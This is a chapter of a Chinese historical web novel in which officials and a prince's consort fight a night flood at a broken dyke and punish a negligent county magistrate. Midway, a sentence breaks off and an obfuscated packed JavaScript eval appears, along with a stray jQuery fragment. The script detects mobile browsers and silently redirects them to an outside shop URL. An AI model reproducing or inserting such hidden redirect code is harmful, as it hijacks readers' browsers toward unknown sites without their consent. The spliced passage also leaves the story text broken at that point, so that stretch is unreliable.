上天没有再给他们等到明日的机会。
约莫夜半丑时,江府上下突然点起了灯,屋外不停地传来一阵又一阵急促凌乱的脚步声。
云端宁觉浅,叫这动静惊醒,心下陡然一沉,有些不好的预感。她忙随意抓来外裳,披上就冲了出去。
外面下了大雨,雨势又急又密,寒风裹着如注暴雨拼了命往人身上钻,云端宁打了个颤,眯着眼朝院子里看。
只见院中上上下下几乎集齐了,萧煦穿戴整齐和江守年匆匆往外走,身旁跟着一列官兵,人人手中都高举着火把,身披蓑衣,头戴斗笠,神色肃然。
她一凛,“出了何事?”
萧煦敛眉回道:“宿县发洪决堤了。”
云端宁脑中一阵轰鸣,无异于晴天霹雳。
宿县与祁县相邻,本都是堤固人安的地方,经年累月不曾出半点问题的,眼下怎会……
一波未平一波又起,这洪水来得竟这样凶险诡异。
她看了眼江守年,只觉得他一夕之间沧桑憔悴了好几分,脊背更弯了,眼里爬满了血丝,唇色也灰白得吓人。
渚安一州两县接二连三突发天灾险情,他身为知府,身为百姓父母官,只能眼睁睁看着,百姓逃亡,良田被淹,心中痛楚压力可想而知。
好容易平复下心底情绪,云端宁向萧煦方向小跑过去,“殿下一行是前往宿县么?羲和同殿下一道!”
萧煦刚想开口回绝,见她神色坚定,便只好点点头说:“万事当心。”
随即命人给她拿了蓑衣斗笠,一行人即刻出发。
出了门,猛地想起了什么,江守年便迟疑了下,在风雨里偏头喊道:“事发突然,来不及备马车,王妃可会骑马?”
雨水迷蒙了云端宁的眼,她鬓边额前的发丝湿淋淋黏在脸上,夜色里一双凤眸亮得惊人,她微微颔首:“自然。”
萧煦侧眸瞥她,抬手指向身前一匹颀长黝黑的骏马,示意云端宁上马。
云端宁翻身上马,一套动作熟练又漂亮,江守年愣在原地惊了一瞬。
这位看起来弱质纤纤的王妃,马术竟是如此熟稔。
宿县离祁县不远,他一行人马上飞驰,紧赶慢赶地终于到了宿县的松阳江。
黑夜中重重乌云厚厚积压,雷鸣电闪,狂风呼啸,暴雨倾泻直下,不管不顾地灌入松阳江中。
江河之水急速上涨,洪水和着涛声轰鸣席卷,在江水里狰狞肆虐,洪流汹涌直冲江边房屋而来。
狂风骤雨之中,百姓哀嚎甚至胜于洪水奔涌之声。
江边房屋和农田首当其冲,几乎是灭顶之灾。湍急的水流夹带着泥沙、树枝、房屋残骸,甚至是只冒了个头的人,一路奔涌,浩浩荡荡地冲向下游。
萧煦一众人刚一下马便见这番情形,神色剧变。
震惊的并非只是险情之触目惊心,而是如此险情,竟无人抢险!
宿县县令何在?!
江守年睚眦欲裂,几乎是毫不犹豫地转身指了一队人扛着沙包,抬着就往那湍流急浪方向跑去,又在狂风暴雨中暴喝:“给本官去看看他曹敬远的美梦做得可还香甜!”
身后有两人接了令便上马奔驰而去。
江守年带着一队官兵,一人扛着两个沙包,齐齐往决口砸去,立刻叫猛兽般的洪水吞噬,转眼消失得无影无踪。
江守年心底一寒,片刻后仍是朝后喊着:“继续!”
无数沙包扔入决口,无一例外,全都叫奔腾的洪水吞没。
江守年看着咆哮的江水,心如死灰。
正在这时候,大批百姓自发扛着沙包,朝他们的方向疾跑。无数火把在松阳江堤坝上闪烁,在江面上明明灭灭。
江守年回眸看去,心下一酸,便又指挥起官兵一道下沙包。
他错愕地发现,齐王乃至齐王妃,亦扛着沙包在人群中,冒着暴雨疾跑。
无数沙包丢入决口,无数沙包消失在决口。
江守年的呐喊在风雨中没有停:“继续!”
风浪骤然袭来,扑在云端宁面上,她脚下一个不稳,跌进身后萧煦怀中。
萧煦握住云端宁的手腕,轻声在她耳畔道:“保护好自己。”
云端宁很快稳住身形,寒夜暴雨里目光灼灼,神色冷艳。
“好。”
自丑时到辰时,他们几乎一刻不停。
天色既明,暴雨终于停了,洪水还在兀自呼啸,但较之昨夜已然好了许多。
萧煦举目望去,周遭一片狼藉,桥断路毁,树倒房陷,一夜之间失去一切的人万念俱灰,哀嚎哭喊声凄厉震人。
他脱下蓑衣,内里一袭玄衣早便湿得不成样子,转眼看向云端宁,她出来时便穿得单薄,此时也是浑身都湿透了,原先红艳的唇色也有些发白。
“公主无事吧?”
云端宁的眼神停留在身前的江守年身上,闻言默默摇了摇头。
萧煦顺着她的眸光看去,只见江守年身披蓑衣,戴着斗笠,望着四下哀嚎的人,沉默地跪在决口处。
身形还是佝偻着,一如初见他时那般。
云端宁的眼神又自他身上飘向四周,一时间神色复杂沉痛。
她垂眸低声喃喃:“上苍不仁……”
萧煦抬手落在她肩上,鹰眸定定,轻声道:“人定亦可胜天。”
她蓦地抬眼深深看向萧煦,眼里倏然多了好些情绪,半晌,她方点头道:“好,人定胜天。”
曹敬远正是这时候匆匆赶来的。
他一身青衣,面相白净,身形壮硕,一下马一眼便望见了决口旁跪着的江守年,忙提着袍子跑过去。
哪知他在江守年身前刚站定,待要俯身作揖,一句“江大人”还未说出口,江守年便缓缓起身,霍然狠狠掴了他一掌,眸光如剑,冷冷地刺向他。
云端宁在心底冷笑,这一巴掌还算轻的,若是江守年不打,她也要抽他一顿。
这一掌力道之大,江守年半边身子都震麻了。
曹敬远被这猝不及防的一巴掌扇懵了,他耳边一阵轰鸣,喉头腥甜,唇角溢出血来。
他捂着脸惊异好半晌他才愤然怒骂出声:“江守年你发什么疯!”
江守年冷笑一声,指着身后决口,嘶哑着声音怒吼,字字泣血,掷地有声。
“你身为宿县县令,松阳江深夜决堤,洪水滔天之时,你身在何处?!百姓流离失所,家破人亡之际,你又身在何处?!将百姓安危置之不顾,失职渎职,你罪无可赦!你还有何颜面以对宿县百姓,以对皇恩浩荡?!”
曹敬远顿住了,叫江守年这一番话说得十分无地自容,闪躲着眼神,方才诘问他的嚣张气焰也消退了大半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073820|149413||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“家中幼子昨夜高烧不退,下官……下官照料了他一整夜……”
江守年刚想开口骂他,便蓦地插入一道凌厉的声音来。
“这是大人家事,无人乐意知晓。曹大人只消说一声,你昨夜对这险情,知或是不知?”
江守年与曹敬远齐齐向后看去,只见云端宁抱着双臂缓步走来,身后还跟着萧煦。
曹敬远见他二人容色虽是出众,然却十分狼狈落魄,便不甚在意拧眉扫视着他们,语气生硬。
“你是何人,我回江大人话,与你有何干系?”
“我是何人?”云端宁嗤笑一声,“大抵本应当是你这小小县令穷尽一生半句话也说不上的人。”
曹敬远闻言面色一沉,偏头狠狠啐出一口血水,不屑道:“好大的口气。”
云端宁依旧抱着双臂,神色慵懒地睨他:“不值一提,本事比口气大。”
萧煦负手凛然立于她身后,好整以暇地看着她。
曹敬远冷笑,“本官倒要看看你有多大的本事!”
“来人,将这刁民拿下!”他手一抬,示意身后跟着的三个官兵上前去。
江守年一惊,刚想开口,却撞进萧煦幽深黑眸中,他摇首示意不必。
他虽是心底惊疑,但还是听了萧煦的话,并未出声。
那三个官兵拎起木棍便往前冲,云端宁依旧抱着双臂含笑站在原地。
眼看着木棍便要击中云端宁面门,她抬脚一踹,即刻便将一人连人带棍踹飞一丈远。
这一脚除了萧煦外人人皆惊,尤其是另外两个拎着棍子跃跃欲试的官兵,瞬时便犹疑徘徊在原地了。
见他们不动,曹敬远便再高声呵斥,“给本官拿下!”
他们只得硬着头皮向前冲,结果自然无一例外,个个都被踹得蜷缩在地哀嚎着。
而云端宁,则是从始至终都抱着双臂,一派风轻云淡。
她含笑抬眸看向曹敬远,道:“我的本事,你可还满意?”
曹敬远面色沉黑如墨,死死盯着她,声音从牙缝里挤出来:“你竟敢殴打……”
云端宁听着烦,便高声道:“你若再废话,我下一个便抽你。”
曹敬远怒不可遏,刚欲开口,便听她淡淡道:“不是想知道我是谁么?我是齐王妃,”她侧身让出萧煦,抬手指了指,“那位是齐王殿下。如何?现下问你的话,总能交代了吧?”
曹敬远身形一震,错愕地抬头看向萧煦,双腿一阵发软。他缓缓转头看向江守年,江守年冷哼一声,不愿看他。但从江守年不曾反驳这女子已然瞧得出,她话当是不假。
他额角沁出汗来,不受控制地双膝一软,跪在地上,颤声道:“下官宿县县令曹敬远,参见齐王殿下,参见王妃娘娘。”
云端宁饶有兴致地上前走了几步,正正好好在他身前站定,让他能稳稳跪在她脚下。
“大人现下回我,这松阳江洪水一事,你是知也不知?”
云端宁气势凛然,言语间盛气凌人,威压十足。
曹敬远脊背打弯,身子不住地战栗,咽了口唾沫,颤声道:“下官……下官,知晓……”
云端宁闻言即刻一脚踹向他肩头,他被踹得直接偏了个身滚到了一旁。
江守年叫她这凌厉的一脚惊得瞪大眼睛,愕然怔在原地。